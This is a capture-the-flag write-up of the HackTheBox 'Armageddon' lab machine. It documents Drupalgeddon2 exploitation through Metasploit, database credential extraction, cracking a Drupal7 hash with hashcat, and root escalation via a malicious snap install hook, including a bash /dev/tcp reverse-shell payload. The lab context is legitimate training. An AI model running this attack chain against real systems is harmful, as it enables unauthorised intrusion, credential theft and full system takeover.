HackTheBox – Armageddon Write-up

Dear readers,

Today’s post is on Armageddon, a GNU/Linux easy machine on HackTheBox. It was created on 28th March 2021. This challenge tests on find CVE vulnerability on a website, pivoting from apache user from web shell to local user by getting information from MySQL using MySQL one-liner, cracking the hash, and privilege escalation through knowing the existence of GTFObins. It is a pretty easy machine but it is very tedious as many steps are required to reach root privilege. Therefore, continue reading if you are interested! Let’s get started!

Fig 1. Armageddon machine challenge on HackTheBox

Tools required

Nmap analysis

For machines, we always have to do a Nmap scan to know what are the open ports and services available. Below is the result:

└─$ sudo nmap -Pn -n -sV -v -p1-1000
[sudo] password for soulx: 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-05 11:22 +08
NSE: Loaded 45 scripts for scanning.
Initiating SYN Stealth Scan at 11:22
Scanning [1000 ports]
Discovered open port 80/tcp on
Discovered open port 22/tcp on
Completed SYN Stealth Scan at 11:22, 2.08s elapsed (1000 total ports)
Initiating Service scan at 11:22
Scanning 2 services on
Completed Service scan at 11:22, 6.55s elapsed (2 services on 1 host)
NSE: Script scanning
Initiating NSE at 11:22
Completed NSE at 11:22, 0.64s elapsed
Initiating NSE at 11:22
Completed NSE at 11:22, 0.98s elapsed
Nmap scan report for
Host is up (0.15s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.63 seconds
           Raw packets sent: 1011 (44.484KB) | Rcvd: 1001 (40.048KB)

Based on the Nmap result, we can see that there are 2 ports available. Let’s take a look at the website since port 80 is open with HTTP service.

Outlook of the website

Fig 4a. The main page of the website at

Search for hints in robots.txt

Previously I can tell there is probably a PHP vulnerability or some Content Management System (CMS) vulnerability since the PHP version is very old. However, I decided to look at to see if there are many interesting files.

# robots.txt
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
# This file will be ignored unless it is at the root of your host:
# Used:    http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/robotstxt.html

User-agent: *
Crawl-delay: 10
# CSS, JS, Images
Allow: /misc/*.css$
Allow: /misc/*.css?
Allow: /misc/*.js$
Allow: /misc/*.js?
Allow: /misc/*.gif
Allow: /misc/*.jpg
Allow: /misc/*.jpeg
Allow: /misc/*.png
Allow: /modules/*.css$
Allow: /modules/*.css?
Allow: /modules/*.js$
Allow: /modules/*.js?
Allow: /modules/*.gif
Allow: /modules/*.jpg
Allow: /modules/*.jpeg
Allow: /modules/*.png
Allow: /profiles/*.css$
Allow: /profiles/*.css?
Allow: /profiles/*.js$
Allow: /profiles/*.js?
Allow: /profiles/*.gif
Allow: /profiles/*.jpg
Allow: /profiles/*.jpeg
Allow: /profiles/*.png
Allow: /themes/*.css$
Allow: /themes/*.css?
Allow: /themes/*.js$
Allow: /themes/*.js?
Allow: /themes/*.gif
Allow: /themes/*.jpg
Allow: /themes/*.jpeg
Allow: /themes/*.png
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/

There aren’t any interesting files or I couldn’t access those pages such as (see Fig 4b).

Fig 4b. Attempts to access webpages stated in robots.txt

Checking the HTTP response header

Therefore, I decided to look at the response header in Fig 4c.

Fig 4c. Response header of

In X-Generator, we can see that it uses Drupal 7. A quick google and I could find CVE for it. Even Metasploit has an exploit and article on it. You can read Metasploit’s article here. It is a common vulnerability in Drupal such that there are many versions of the exploits which are called Drupalgeddon. This should be the correct path to access the server as the name of the exploit is similar to the name of the machine.

If you have read Metasploit’s article or any Drupalgeddon exploit on exploitdb, you will know that it checks for the CHANGELOG.txt folder to see if the Drupal version is vulnerable. I tried to test it manually and I can indeed access the log file.

Fig 4d. Accessing CHANGELOG.txt

Access web server using Metasploit’s Drupalgeddon exploit

Just using the search feature on msfconsole, I can immediately find the path to the Drupalgeddon exploit.

msf6 > search Drupalgeddon

Matching Modules

   #  Name                                      Disclosure Date  Rank       Check  Description
   -  ----                                      ---------------  ----       -----  -----------
   0  exploit/unix/webapp/drupal_drupalgeddon2  2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/drupal_drupalgeddon2

Next, I used the exploit which msfconsole will automatically help us choose the right payload.

msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp

Next, I see what are the options available and set the values such as the LHOST (our own IP address seen in the ifconfig command), the target type which I chose PHP dropper, and the RHOSTS (remote hosts which is the IP address of the website we are targeting).

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options

Module options (exploit/unix/webapp/drupal_drupalgeddon2):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DUMP_OUTPUT  false            no        Dump payload command output
   PHP_FUNC     passthru         yes       PHP function to execute
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI    /                yes       Path to Drupal install
   VHOST                         no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic (PHP In-Memory)

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic (PHP In-Memory)
   1   Automatic (PHP Dropper)
   2   Automatic (Unix In-Memory)
   3   Automatic (Linux Dropper)
   4   Drupal 7.x (PHP In-Memory)
   5   Drupal 7.x (PHP Dropper)
   6   Drupal 7.x (Unix In-Memory)
   7   Drupal 7.x (Linux Dropper)
   8   Drupal 8.x (PHP In-Memory)
   9   Drupal 8.x (PHP Dropper)
   10  Drupal 8.x (Unix In-Memory)
   11  Drupal 8.x (Linux Dropper)

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set target 5
target => 5

Finally, we can execute the exploit after making sure all our settings are correct. Waiting for a while, we should be able to get a meterpreter shell.

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit 

[*] Started reverse TCP handler on 
[*] Executing automatic check (disable AutoCheck to override)
[!] The service is running, but could not be validated.
[*] Sending stage (39282 bytes) to
[*] Meterpreter session 1 opened ( -> at 2021-07-05 12:23:04 +0800

meterpreter >
meterpreter > pwd

Using the shell command, we can spawn a web shell that uses passthru() which is similar to exec(). Therefore, we will not have a TTY shell.

meterpreter > shell
Process 1974 created.
Channel 0 created.

uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

When I input id command into the empty prompt, we can see that a result is given to use. However, we are only an Apache user who does not have enough privilege to even access the /home directory.

Pivoting to local user account and getting user flag

Look for users in /etc/passwd

The next step we need to do is to pivot to a local user account. We can do that by looking at what are the local users in the server through /etc/passwd.

cat /etc/passwd
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin

We can immediately see that there is a local user brucetherealadmin with a /home directory. Therefore, we need to find ways to get his password.

Access MySQL database for USER table

Looking at the current network services available using netstat, we can see that MySQL and SMTP are running on ports 3306 and 25 respectively which can only be accessed by localhost.

netstat -plnt
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0    *               LISTEN      -                   
tcp        0      0  *               LISTEN      -                   
tcp        0      0*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 ::1:25                  :::*                    LISTEN      - 

We are more interested in the MySQL service as that should contain the password of the user brucetherealadmin assuming he has an account to login to the Drupal CMS website in Fig 4a.

A thought process came up to me that all CMS should have a config file that stores the database’s username and website so that the backend code can access the database to read/write (CRUD) data to it whenever a user creates an account, login, or do something in the website. Just a quick google and I was able to find that the username and password are usually stored in /sites/default/settings.php.

Using the ls command, I could see the sites directory. This means we can easily access the settings.php.


Printing out the content of the settings.php, we can find the username and password to the MySQL database.

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',

Since we know the username and password, we can login into the MySQL database. However, note that Metasploit is using a web shell hence we cannot go into the MySQL console. Thus we have to use a oneliner command where we login and dump out the content of the database without going into the MySQL console. I tried to do a reverse shell from our web shell by Metasploit but as Apache user, we do not have permissions to even access bash or any of the Python and Perl libraries for outbound connection. Therefore, we can only make do with what we have.

mysql -u drupaluser -p --password=CQHEy@9M*m23gBVj -s -r -e "select * from information_schema.tables"
def     drupal  users   BASE TABLE      InnoDB  10      Compact 2       8192    16384   0       81920   8388608 NULL    2020-12-03 12:32:37     NULL    NULL    utf8_general_ci NULL            Stores user data.

We can use the command shown above in yellow font to login into MySQL and execute SQL query in one line to dump all the tables available in the database. There were a lot of tables of different database schema shown to us. I filtered out everything and show the only table we are interested in which is the users table from drupal database. This should contain the login credentials of the user brucetherealadmin.

mysql -u drupaluser -p --password=CQHEy@9M*m23gBVj -s -e "use drupal; select * from users"
0                                               NULL    0       0       0       0       NULL            0               NULL
1       brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu                     filtered_html   1606998756      1625459427      1625459427      1       Europe/London           0       admin@armageddon.eu  a:1:{s:7:"overlay";i:1;}
3       admin   $S$DJKOcnMpLMpldjq0JOhZj2n5Wq7gZDv0BRHjXbIX.sLW4ZW0spg9 admin@admin.com                 filtered_html   1625467042      0       0       0       Europe/London           0       admin@admin.com NULL                    filtered_html   1606998756      1625459427      1625459427      1       Europe/London           0       admin@armageddon.eu  a:1:{s:7:"overlay";i:1;}

Crack Drupal7 hash with Hashcat

Based on the output above where we dump everything from the users table using SQL query, we can see the password hash of the user brucetherealadmin. As the password hash starts with “$S$”, this means it is a Drupal 7 hash. Just a quick google of Hashcat’s help command, we can see the type ID for Drupal hash which is 7900 here. We can put the hash in a file called “hash.hash”

└─$ hashcat -m 7900 ./passwd_hash.hash /usr/share/wordlists/rockyou.txt                                                                                                                                                                127 ⨯
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
* Device #1: pthread-Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz, 3185/3249 MB (1024 MB allocatable), 1MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Uses-64-Bit
* (null)

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

Session..........: hashcat
Status...........: Cracked
Hash.Name........: Drupal7
Hash.Target......: $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
Time.Started.....: Mon Jul  5 15:39:15 2021 (5 secs)
Time.Estimated...: Mon Jul  5 15:39:20 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       54 H/s (12.27ms) @ Accel:32 Loops:1024 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests
Progress.........: 256/14344385 (0.00%)
Rejected.........: 0/256 (0.00%)
Restore.Point....: 224/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:31744-32768
Candidates.#1....: tiffany -> freedom

Started: Mon Jul  5 15:37:13 2021
Stopped: Mon Jul  5 15:39:21 2021

We can see that the password is booboo. This allows us to use SSH to login as brucetherealadmin using that password and thus getting the user flag.

└─$ ssh brucetherealadmin@                                        
brucetherealadmin@'s password: 
Last login: Mon Jul  5 08:45:00 2021 from
[brucetherealadmin@armageddon ~]$ 
[brucetherealadmin@armageddon ~]$ ls
[brucetherealadmin@armageddon ~]$ cat user.txt 
[brucetherealadmin@armageddon ~]$

Privilege escalation and getting root flag

As usual, the 1st step is to see what root commands/tools the current user have access to.

[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",

User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *
[brucetherealadmin@armageddon ~]$ 

It seems like we can run /usr/bin/snap install *. It is a binary file hence we can’t read the source code of snap. However, a quick google and we will know it is a kind of package manager.

I tried to see if snap is a GTFObin and it really is. You can take a look at it here. They already provide the guide to escalate privilege hence it should be simple for us to modify the code to do what we want. But firstly, let’s try to follow the steps to see if it works.

Let’s first create a snap exploit file on our local machine by copying and pasting the command below into the terminal.

cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta

It should create xxxx_1.0_all.snap file. We can then upload it into the server into brucetherealadmin‘s account using scp.

└─$ scp ./xxxx_1.0_all.snap brucetherealadmin@
brucetherealadmin@'s password: 

Once we uploaded it, we can then execute /usr/bin/snap install on brucetherealadmin‘s account.

[brucetherealadmin@armageddon ~]$ sudo snap install ./xxxx_1.0_all.snap --dangerous --devmode
error: cannot perform the following tasks:
- Run install hook of "exploit" snap if present (run hook "install": uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0)
[brucetherealadmin@armageddon ~]$

We can immediately see that it works as the id command was executed and it shows that we are running the command as the root user. I have made the important result in the blue font shown above.

Finally, we can obtain the root flag by changing the command to print out the root flag located at /root/root.txt using the command “cat /root/root.txt“.

└─$ COMMAND=cat\ /root/root.txt                             
└─$ cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta
Created package {:path=>"xxxx_1.0_all.snap"}
└─$ scp ./xxxx_1.0_all.snap brucetherealadmin@
brucetherealadmin@'s password: 

We can now install it and obtain the root flag.

[brucetherealadmin@armageddon ~]$ sudo snap install xxxx_1.0_all.snap --dangerous --devmode
error: cannot perform the following tasks:
- Run install hook of "xxxx" snap if present (run hook "install": be9*****************************)

Alternate solution using reverse shell

Some people will not prefer the method I mentioned above using a shortcut to obtain the root flag. They will prefer to get a root shell 1st. Therefore, you can change the command below that will make a reverse TCP connection using a bash that will attempt to connect to your local machine. I used Netcat to listen to port 7337.

└─$ mkdir -p ./meta/hooks
printf '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/ 0>&1"\n' > ./meta/hooks/install
chmod a+x ./meta/hooks/install
fpm -n revshell -s dir -t snap -a all ./meta

└─$ scp ./revshell_1.0_all.snap brucetherealadmin@
brucetherealadmin@'s password: 

Next, open another terminal and run a Netcat to listen to the port you have specified. I used port 7337.

└─$ nc -lvnp 7337                       
listening on [any] 7337 ...

Execute the snap file on brucetherealadmin‘s account.

[brucetherealadmin@armageddon ~]$ sudo snap install ./revshell_1.0_all.snap --dangerous --devmode

Check your Netcat, you should have received an incoming connection and obtained an interactive reverse bash shell. You can then obtain the root flag from there.

└─$ nc -lvnp 7337                       
listening on [any] 7337 ...
connect to [] from (UNKNOWN) [] 36258
bash: cannot set terminal process group (4899): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.3# ls /root
ls /root
bash-4.3# cat /root/root.txt
cat /root/root.txt

I hope these tabs have been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂


Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.